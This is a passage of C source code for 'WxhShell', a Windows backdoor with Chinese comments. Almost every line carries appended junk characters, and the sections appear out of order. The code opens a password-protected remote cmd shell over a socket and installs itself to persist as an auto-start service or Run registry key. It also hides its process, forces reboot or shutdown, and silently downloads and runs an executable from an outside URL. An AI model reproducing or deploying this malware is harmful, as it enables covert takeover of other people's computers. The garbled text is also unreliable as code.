    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fy5)Tih%.*  
    if(Boot(SHUTDOWN)) '4EJ_Vhztc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $v,_8{ !  
    else { $l=m?r=  
    closesocket(wsh); qW*)]s)z  
    ExitThread(0); }tN"C 3)@  
    } ^<c?Ire  
    break; rnUe/HjH  
    } I~,*Rgv/Z  
  // 获取shell GI/o!0"_  
  case 's': { NR" Xn7G  
    CmdShell(wsh); 6Y=)12T  
    closesocket(wsh); CKK8 o9W  
    ExitThread(0); 'a}pWkLB  
    break; gU:jx  
  } q4{ 6@q  
  // 退出 9496ayi  
  case 'x': { 9"[#\TW9Vb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UWz<~Vy  
    CloseIt(wsh); ] '..G-  
    break; K=V)"v5o3  
    } WE\V<MGS/  
  // 离开 kjH0u$n  
  case 'q': { EG,RlmcPp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tlE+G@|^  
    closesocket(wsh); /)N[tv2  
    WSACleanup(); k7?(I U  
    exit(1); tq{ aa  
    break; W1 E(( 2  
        } 8D-g%Aj-  
  } D9h\=[%e  
  } (sY?"(~j?T  
Hc71 .rqS  
  // 提示信息 9i n&\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UhNeY{6  
} a!;?!f-i  
  } J^U#dYd  
fU,sn5zZ  
  return; y 2bZo'Z  
} koFY7;_<?  
,`K'qms  
// shell模块句柄 IL\#!|>  
int CmdShell(SOCKET sock) ^$VOC>>9  
{ w _n)*he)z  
STARTUPINFO si; P'[w9'B  
ZeroMemory(&si,sizeof(si)); -rUn4a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jjv, )@yo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M%Ov6u<I8  
PROCESS_INFORMATION ProcessInfo; &q>=6sQvf  
char cmdline[]="cmd"; dF"Sz4DY#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0GEK xV\F  
  return 0; !ce:S!P  
} ygh*oVHO  
72.Z E%Ue  
// 自身启动模式 k? X7h2  
int StartFromService(void) r/SV.` k  
{ y8VLFe;  
typedef struct 4Y[tx]<  
{ vk&C'&uV9@  
  DWORD ExitStatus; Ry8@U9B6,t  
  DWORD PebBaseAddress; F|9 W7  
  DWORD AffinityMask; 7*`cWT_X  
  DWORD BasePriority; 5#~u U  
  ULONG UniqueProcessId; d?S7E q9`  
  ULONG InheritedFromUniqueProcessId; (bY#!16C:  
}   PROCESS_BASIC_INFORMATION; =otJf~  
4fgA3%  
PROCNTQSIP NtQueryInformationProcess; })%WL;~  
@#xh)"}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  1)U%p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l*rli[No  
Mt"j< ]EW  
  HANDLE             hProcess; /z9oPIJ=*  
  PROCESS_BASIC_INFORMATION pbi; eJlTCXeZ|  
] X%T^3%G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kO>F, M  
  if(NULL == hInst ) return 0; XDRw![H,~  
v47Y7s:uQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `KgIr,Q)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e@|/, W   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !lpKZG  
nO.RB#I$F  
  if (!NtQueryInformationProcess) return 0; /{QR:8}-Q  
~`~mnlN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QpbyC_:;$4  
  if(!hProcess) return 0; ?VaWOwWI  
XpFW(v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4EQ-48h17  
H=,0p  
  CloseHandle(hProcess); ]n _OQ)VO  
8$4@U;Vh;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JO{Rth  
if(hProcess==NULL) return 0; <_(UAv  
b5NPG N  
HMODULE hMod; XqX6UEVR4  
char procName[255]; >,;, 6|S  
unsigned long cbNeeded; ;c};N(2  
<O+T4.z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ed6n@/O@  
!A@Ft}FB  
  CloseHandle(hProcess); walQo^<  
JWzN 'a R  
if(strstr(procName,"services")) return 1; // 以服务启动 Teo&V  
nZ7FG  
  return 0; // 注册表启动 :56f  
} c0}* $e  
,j^z];  
// 主模块 A 9\]y%!  
int StartWxhshell(LPSTR lpCmdLine) 1T96W :   
{ _\mMgZu  
  SOCKET wsl; EkWipF(  
BOOL val=TRUE; E6 glR  
  int port=0; {6E&\  
  struct sockaddr_in door; LNm{}VJ%  
(`nn\)  
  if(wscfg.ws_autoins) Install(); C B&$tDi  
kta`[%KmIZ  
port=atoi(lpCmdLine); oz54IO  
b d!|/Lk  
if(port<=0) port=wscfg.ws_port; <Vu/6"DP  
^#:F8D  
  WSADATA data; &}N=a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gt~hUwL  
8Df(|>mK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !+Ia#(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gA`x-`  
  door.sin_family = AF_INET; io8c[#"uU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "w0[l"3 V  
  door.sin_port = htons(port); +vR$%  
aDXdr\ C6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SiBhf3   
closesocket(wsl); ">?ocJ\9  
return 1; Cq-d,  
} g`(' k5=  
[5KzawV  
  if(listen(wsl,2) == INVALID_SOCKET) { bu&x& M*  
closesocket(wsl); / /ty] j  
return 1; 3F/05}d`  
} .'+*>y!  
  Wxhshell(wsl); Q"2t :  
  WSACleanup(); q '6gj  
=e<;B_ ~.  
return 0; GQZLOjsop  
{u/G!{N$  
} b7X-mkF  
In%K  
// 以NT服务方式启动 bC[TLsh7{2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cpyv@+;D  
{ <ZF,3~v?  
DWORD   status = 0; [P'crV,m  
  DWORD   specificError = 0xfffffff; je9eJUKE  
iti~RV,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `vkNp8|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s`:>"1\|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  8(.DI/  
  serviceStatus.dwWin32ExitCode     = 0; mY}_9rTn|  
  serviceStatus.dwServiceSpecificExitCode = 0; P|rsq|',  
  serviceStatus.dwCheckPoint       = 0; sn|q EH  
  serviceStatus.dwWaitHint       = 0; 3 #fOrNU2  
yQ^k%hHa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OHz>B!`  
  if (hServiceStatusHandle==0) return; {i:5XL   
5 IK -V)  
status = GetLastError(); |*~=w J_  
  if (status!=NO_ERROR) A7{l60(5  
{ .GJl@==~1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; buIy+  
    serviceStatus.dwCheckPoint       = 0; }~8/a3  
    serviceStatus.dwWaitHint       = 0; --ED]S 8  
    serviceStatus.dwWin32ExitCode     = status; *b{C`[ =V  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;n-)4b]\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $_2S,3 }  
    return; GCw <jHw  
  } Je|D]w  
l7rGz2:?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LGxQ>f[V  
  serviceStatus.dwCheckPoint       = 0; 6 (:^>@  
  serviceStatus.dwWaitHint       = 0; HA +EuQE"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w(lxq:>"  
} :z;}:+7n  
nm[ yp3B  
// 处理NT服务事件,比如:启动、停止 8J&K_ JC^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ 2Jr( ?U  
{ B3p[A k  
switch(fdwControl) p1dqDgF*  
{ i-Le&  
case SERVICE_CONTROL_STOP: V;b^b5yZ>  
  serviceStatus.dwWin32ExitCode = 0; Rp#9T?i``[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wH:'5+u:6  
  serviceStatus.dwCheckPoint   = 0; p[Z'Fl  
  serviceStatus.dwWaitHint     = 0;  eRlJ  
  { $EHnlaG8r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }m?1IU %q  
  } (qE*z  
  return; /]/3)@wT  
case SERVICE_CONTROL_PAUSE: jGB2`^&d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 91oIxW  
  break; "HWl7c3q  
case SERVICE_CONTROL_CONTINUE: mp_(ke  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fo"dX4%}  
  break; gE,i Cx  
case SERVICE_CONTROL_INTERROGATE: ~I0I#_$'P  
  break; Z%*_kk  
}; E6);\SJG}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NN<kO#c+2  
} i!/V wGg  
u~X]W3  
// 标准应用程序主函数 WMB~? EDhv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^s@?\v  
{ / jI>=:z  
v= b`kCH}  
// 获取操作系统版本 aX=  
OsIsNt=GetOsVer(); )t G`a ;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ziuhS4k  
ojO<sT:by  
  // 从命令行安装 xACAtJ'gc  
  if(strpbrk(lpCmdLine,"iI")) Install(); e_6@oh2s-  
H<dOh5MFh  
  // 下载执行文件 ;9,<&fe  
if(wscfg.ws_downexe) { mw<LNnT{8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V@jR8zv|_  
  WinExec(wscfg.ws_filenam,SW_HIDE); w < p  
} d+KLtvB%M  
9:^SnHAa  
if(!OsIsNt) { 3n']\V  
// 如果时win9x,隐藏进程并且设置为注册表启动 (o_wv  
HideProc(); TY"=8}X1  
StartWxhshell(lpCmdLine); iARIvhfdi  
} DSyfF&uC  
else be`\ O  
  if(StartFromService()) y\Z7]LHCqw  
  // 以服务方式启动 V7u;"vD  
  StartServiceCtrlDispatcher(DispatchTable);  \p"`!n  
else *]%{ttR~  
  // 普通方式启动 =!_e(J  
  StartWxhshell(lpCmdLine); $b;9oST  
'+BcPB?E  
return 0; |`9POl=  
} Wa~'p+<c~b  
S?nXpYr  
1R)4[oYN\<  
HK>!%t0S  
=========================================== fU_itb(  
hVRpk0IJDK  
%-?HC jT  
XA} !  
X b-q:{r1h  
I&|%Fn  
" KumbG>O  
qve2?,i8hM  
#include <stdio.h> |4BS\fx~N  
#include <string.h> 7Zp'}Om<I  
#include <windows.h> ]V J$;v'{[  
#include <winsock2.h> tUl#sqN_{  
#include <winsvc.h> ,EW-21  
#include <urlmon.h> ;1}~(I#Y  
# )-Kf  
#pragma comment (lib, "Ws2_32.lib") pZz?c/h-  
#pragma comment (lib, "urlmon.lib") v-2O{^n  
yWsV !Ub  
#define MAX_USER   100 // 最大客户端连接数 iZGc'y  
#define BUF_SOCK   200 // sock buffer }X94M7+->  
#define KEY_BUFF   255 // 输入 buffer ! %r5  
F>E'/r*  
#define REBOOT     0   // 重启 l'T3RC,\  
#define SHUTDOWN   1   // 关机 )~;=0O |X  
=7ul,  
#define DEF_PORT   5000 // 监听端口 _7? o/Q?F%  
`s(T (l  
#define REG_LEN     16   // 注册表键长度 vK)^;T ;  
#define SVC_LEN     80   // NT服务名长度 fdGls`H  
]&w>p#_C  
// 从dll定义API eAS~>|N#x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eZR{M\Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }5-^:}gL   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SU9qF73Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k !Nl#.j  
6"C$]kF?  
// wxhshell配置信息 %YLdie6c  
struct WSCFG { L}lOA,EF  
  int ws_port;         // 监听端口 hX(:xc  
  char ws_passstr[REG_LEN]; // 口令 8nw_Jatk1  
  int ws_autoins;       // 安装标记, 1=yes 0=no )| @'}k+  
  char ws_regname[REG_LEN]; // 注册表键名 p*E_Po  
  char ws_svcname[REG_LEN]; // 服务名 #jn6DL@[{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E$]7w4,n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H5uWI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q]Q]kj2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qwJeeax  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5fuOl-M0W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J(F]?H  
`G> 6  
}; 52K_kB5  
6[>UF!.=  
// default Wxhshell configuration '|Dm\cy  
struct WSCFG wscfg={DEF_PORT, AHX_I  
    "xuhuanlingzhe", m, ',luQ  
    1, z%5i^P  
    "Wxhshell", ~E&drl\  
    "Wxhshell", Rdao  
            "WxhShell Service", \tE2@  
    "Wrsky Windows CmdShell Service", X+"8yZz3?  
    "Please Input Your Password: ", 7@al)G;~  
  1, "MZj}}l  
  "http://www.wrsky.com/wxhshell.exe", 8"l9W=  
  "Wxhshell.exe" "mr;|$Y  
    }; 6O2 r5F$T  
Ld6j;ZJ';  
// 消息定义模块 Tx"}]AyB6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h 3Kv0^{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wZN<Og+;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P [-2^1P"  
char *msg_ws_ext="\n\rExit."; (r,tU(  
char *msg_ws_end="\n\rQuit."; =+`I%>wc  
char *msg_ws_boot="\n\rReboot..."; |r_S2)zH9m  
char *msg_ws_poff="\n\rShutdown..."; ~_=ohb{  
char *msg_ws_down="\n\rSave to "; (:W=8G,p  
\NwL#bQ~  
char *msg_ws_err="\n\rErr!"; C'3/B)u}l  
char *msg_ws_ok="\n\rOK!"; }TD$ !  
Fn0Rq9/@  
char ExeFile[MAX_PATH]; zn|~{9>y  
int nUser = 0; OV ~|@{6T  
HANDLE handles[MAX_USER]; 4{H>V_9zs  
int OsIsNt; -#T?C ]}  
is_`UDaB  
SERVICE_STATUS       serviceStatus; (@Q@B%!!K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b?`8-g  
<EKDP>,~  
// 函数声明 Y%OE1F$6NN  
int Install(void); _KVge)j  
int Uninstall(void); Mo`7YS-Y  
int DownloadFile(char *sURL, SOCKET wsh); J2VhheL`J  
int Boot(int flag); ) 9h5a+Z  
void HideProc(void); >(+g:p  
int GetOsVer(void); Dn;6O  
int Wxhshell(SOCKET wsl); sS#Lnj^`%  
void TalkWithClient(void *cs); `h+ia/  
int CmdShell(SOCKET sock); to@ O  
int StartFromService(void); 7@"J&><w!  
int StartWxhshell(LPSTR lpCmdLine); yAO Ye"d  
KMZ:$H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7kapa59  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2OFrv=F  
g2p/#\D\J  
// 数据结构和表定义 d7Lna^  
SERVICE_TABLE_ENTRY DispatchTable[] = tEP~`$9  
{ & xOEp  
{wscfg.ws_svcname, NTServiceMain}, !U38aHG  
{NULL, NULL} 3n-~+2l  
}; *cn,[  
DEEQ/B{  
// 自我安装 7,U^v}$   
int Install(void) Z>1\|j  
{ u'}SaX]0  
  char svExeFile[MAX_PATH]; |#^##^cF/  
  HKEY key; M]PH1 2Ob  
  strcpy(svExeFile,ExeFile); /Zs;dam  
x#z}A&  
// 如果是win9x系统,修改注册表设为自启动 sCG[gshq  
if(!OsIsNt) { (izGF;N+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2uw1R;zw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n<47#-  
  RegCloseKey(key); uN1(l}z$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]A)`I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $S{B{FK  
  RegCloseKey(key); .*+?]  
  return 0; P9(]9np,,  
    } PYWp2V/  
  } \[</|]'[  
} ,n&@O,XGy  
else { #P[d?pY  
rXR=fj= 2  
// 如果是NT以上系统,安装为系统服务 26n+v(re  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P~Ss\PT  
if (schSCManager!=0) ~Y=v@] 2/  
{ LRNgpjE}  
  SC_HANDLE schService = CreateService {OHaI ;  
  ( .{,PC  
  schSCManager, pRS+vV3  
  wscfg.ws_svcname, pU4k/v555;  
  wscfg.ws_svcdisp, U/2]ACGCN^  
  SERVICE_ALL_ACCESS, ]:Y@pZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I9JiH,+  
  SERVICE_AUTO_START, t[>y=89  
  SERVICE_ERROR_NORMAL, QkMK\Up  
  svExeFile, dg#w/}}m  
  NULL, alu3CE  
  NULL, F$[1KjS  
  NULL, $$my,:nH  
  NULL, N>8p A)  
  NULL )tc"4lp -  
  ); L< 3U)Gp  
  if (schService!=0) C*O648yz[  
  { .Pz( 0Y  
  CloseServiceHandle(schService); X~ca8!Dq  
  CloseServiceHandle(schSCManager); "M e)'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~M@'=Q*~  
  strcat(svExeFile,wscfg.ws_svcname); >e F4YZ"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6g\SJ O-;N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !VNLjbee.  
  RegCloseKey(key); kGaK(^w  
  return 0; 879x(JII  
    } ssdpwn'  
  } /`d|W$vN  
  CloseServiceHandle(schSCManager); iR k.t=B  
} ^;on  
} p.Y =  
Z^P]-CB|6A  
return 1; ']'H8Y-M  
} &hciv\YT2W  
#. mc+n:I  
// 自我卸载 M\%LB}4M  
int Uninstall(void) ohI>\  
{ `jl 1Q,~2r  
  HKEY key; G$hH~{Y$  
qs$%/  
if(!OsIsNt) { [A@K)A$f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b{:c0z<  
  RegDeleteValue(key,wscfg.ws_regname); ql Z()  
  RegCloseKey(key); sIx8,3`&y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .=y-T=}  
  RegDeleteValue(key,wscfg.ws_regname); &4g]#A>@  
  RegCloseKey(key); @fDWp/  
  return 0; (X!?#)fyn  
  } `5VEGSP]  
} Gz>M Y4+G  
} `RRC8]l  
else { <r[5 S5y  
_RzwE$+9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YMlnC7?_ /  
if (schSCManager!=0) T]&% KQ  
{ r9),F.6,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zli@XZ#  
  if (schService!=0) <"Ox)XG3]W  
  { ]_8bX}_n  
  if(DeleteService(schService)!=0) { =Gka;,n  
  CloseServiceHandle(schService); *2K/)(  
  CloseServiceHandle(schSCManager); Idy{(Q  
  return 0; vDG AC'  
  } _$wXHONt  
  CloseServiceHandle(schService); [2]Ti_ >D  
  } --(e(tvf  
  CloseServiceHandle(schSCManager); oCl $ 0x  
} p2v+sWO  
} Ro&s\T+d  
g{t)I0xm  
return 1; `s0`kp  
} "OIra2O  
pZpAb+  
// 从指定url下载文件 PP2>v|  
int DownloadFile(char *sURL, SOCKET wsh) 7Wd}H Z  
{ {_ &*"bK  
  HRESULT hr; )# ^5$5  
char seps[]= "/"; )<fa1Gz#^  
char *token; |.OXe!uU41  
char *file; 8uj;RG  
char myURL[MAX_PATH]; {P/5cw  
char myFILE[MAX_PATH]; COV8=E~  
;y"=3-=vM"  
strcpy(myURL,sURL); 'U9l  
  token=strtok(myURL,seps); Ia> 07av  
  while(token!=NULL) E%A] 8y7  
  { ^)qOILn  
    file=token; s)gUvS\  
  token=strtok(NULL,seps); TSgfIE|  
  } ~\UH`_83[  
cph&\ V2jt  
GetCurrentDirectory(MAX_PATH,myFILE); _LVi}mM  
strcat(myFILE, "\\"); #:UP'v=w  
strcat(myFILE, file); xsPY#  
  send(wsh,myFILE,strlen(myFILE),0); "@P)  
send(wsh,"...",3,0); m %=] j<A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^HO'"/tB@D  
  if(hr==S_OK) M, uQ8SZA[  
return 0; ;ui=7[ Us  
else q6A"+w,N  
return 1; (IE\}QcK  
PP]Z~ne0X  
} j'2:z#  
M5C%(sQ$  
// 系统电源模块 AW6"1(D  
int Boot(int flag) IP#?$X  
{ h'wI  
  HANDLE hToken; .%\lYk]  
  TOKEN_PRIVILEGES tkp; $,s"c(pv[,  
Xb/W[rcs  
  if(OsIsNt) { A9D vU)1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZcP/rT3{^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7uI~Xo ?N  
    tkp.PrivilegeCount = 1; %UO ;!&K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 _Cc+}W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q]^Q?r<g::  
if(flag==REBOOT) { Klv~#9Si  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v 7g?  
  return 0; saPg2N,  
} n[`KhRN  
else { l ;fO]{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) It@1!_tO2  
  return 0; xGBp+j1H  
} Gc1!')g!  
  } +~Lt;xNFk  
  else { S0zk<S  
if(flag==REBOOT) { Y/Dah*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SI~MTUqt  
  return 0; 8s@k0T<O  
} $I$ B8  
else { `%5~>vPS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :#pfv)W6t  
  return 0; ;vkk$ -  
} aN,.pLe;  
} IMF9eS{L  
%aHQIoxg  
return 1; vf&Sk`  
} g"P!KPrf1p  
G*].g['  
// win9x进程隐藏模块 aEJds}eE6)  
void HideProc(void) kH9fK80  
{ <aVfgVS  
:TTZ@ q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9D+B~8[SQ  
  if ( hKernel != NULL ) Q9C; _Up  
  { S@WzvM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -$0w-M8'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r'/H3  
    FreeLibrary(hKernel); 0DIXd*oj&  
  } gb clk~kX  
*(pmFEc  
return; ^|+;~3<J  
} `~S ; UG   
]>%M%B  
// 获取操作系统版本 }@'Zt6+tS  
int GetOsVer(void) 99]&Xj  
{ d0"Xlle ld  
  OSVERSIONINFO winfo; FJYc*l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YlP8fxS  
  GetVersionEx(&winfo); ]!=,8dY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N-Jp; D  
  return 1; pndAXO:v  
  else Ki_8g  
  return 0; \as^z!<  
} ^vQ,t*Uj=  
p\&Lbuzv  
// 客户端句柄模块 c&rS7%  
int Wxhshell(SOCKET wsl) q4wS<, 3  
{ 61"w>;d6  
  SOCKET wsh; )kl(}.9X  
  struct sockaddr_in client; X u+^41  
  DWORD myID; x_K8Gr#Z0  
;xKPa6`E  
  while(nUser<MAX_USER) HAtf/E]  
{ " F3M  m  
  int nSize=sizeof(client); vXP+*5d/ K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0qPbmLMK  
  if(wsh==INVALID_SOCKET) return 1; X\yy\`o  
l2lyi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =bwuLno>  
if(handles[nUser]==0) )^^Eh=Kbj  
  closesocket(wsh); wP: w8O  
else q]qKU`m!Q`  
  nUser++; h jCkj(b  
  }  \W',g[Y:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R | &+g\{;  
jLy3c@Dp  
  return 0; \j$q';9p  
} },;ymk|g[  
M ~uX!bDH  
// 关闭 socket '. '}  
void CloseIt(SOCKET wsh) 9:\YEs"  
{ 2Kg+SLU[~  
closesocket(wsh); {ejJI/o0  
nUser--; pg4J)<t#  
ExitThread(0); Y4 <  
} L,<5l?u  
3S97hn{|=  
// 客户端请求句柄 i3s,C;7[2  
void TalkWithClient(void *cs) m/`"~@}&  
{ 4 )U,A~ !  
GF3"$?Cw  
  SOCKET wsh=(SOCKET)cs; s?JNc4q  
  char pwd[SVC_LEN]; [It E+{U  
  char cmd[KEY_BUFF]; +$b_,s  
char chr[1]; <A_LZi  
int i,j; ;Az9p h  
lg(*:To3B  
  while (nUser < MAX_USER) { jYv`kt  
(1|_Nr  
if(wscfg.ws_passstr) { VEuT!^0Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QQB\$[M!Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /;[Zw8K7  
  //ZeroMemory(pwd,KEY_BUFF); k70o=}  
      i=0; Buue][[  
  while(i<SVC_LEN) { ];vEj*jCX  
c5($*tTT  
  // 设置超时 has \W\(  
  fd_set FdRead; T"NDL[*  
  struct timeval TimeOut; {}#W~1`  
  FD_ZERO(&FdRead); +] .Zs<  
  FD_SET(wsh,&FdRead); _"Bh 3 7  
  TimeOut.tv_sec=8; I`~ofq?r  
  TimeOut.tv_usec=0; Do3g^RD#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }qa8o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !@r1B`]j+"  
8w:A""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Td7=La0   
  pwd=chr[0]; EqN_VT@  
  if(chr[0]==0xd || chr[0]==0xa) { <Ag`pZ<s  
  pwd=0; Q1?0R<jOU  
  break; 123 6W+  
  } uh][qMyLM  
  i++; &at^~ o  
    } {GTOHJ2  
xcF:moL  
  // 如果是非法用户,关闭 socket U^ec g{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !c;Z<@  
} U X?EOrfJ  
/!V) 2j,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2=&4@c|cn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V*uoGWL]+  
?l6NQ;z  
while(1) { 8f""@TTp  
Y [hTO.LF  
  ZeroMemory(cmd,KEY_BUFF); X0h`g)Bbf  
ypCarvQT  
      // 自动支持客户端 telnet标准   }# ~DX!Sj  
  j=0; d3$*z)12`  
  while(j<KEY_BUFF) { cTU%=/gbc<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , ;'y <GA  
  cmd[j]=chr[0]; mHm"QBa!  
  if(chr[0]==0xa || chr[0]==0xd) { o@&Hc bN^  
  cmd[j]=0; Au-_6dT  
  break;  !e+^}s  
  } deRnP$u0  
  j++; *A2D}X3s  
    } d]89DdZk  
(?G?9M#7_  
  // 下载文件 %Sgdhgk1  
  if(strstr(cmd,"http://")) { R-L*N$@!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kM#ZpI&0%  
  if(DownloadFile(cmd,wsh))  Uz;z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_VF=B^LuR  
  else ]M:=\h,t>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >=T\=y  
  } ]*M VVzF  
  else { 3M?vK(zG>P  
)L,.K O  
    switch(cmd[0]) { 9d\B*OU  
  )kBN]>&R  
  // 帮助 M%\=Fb  
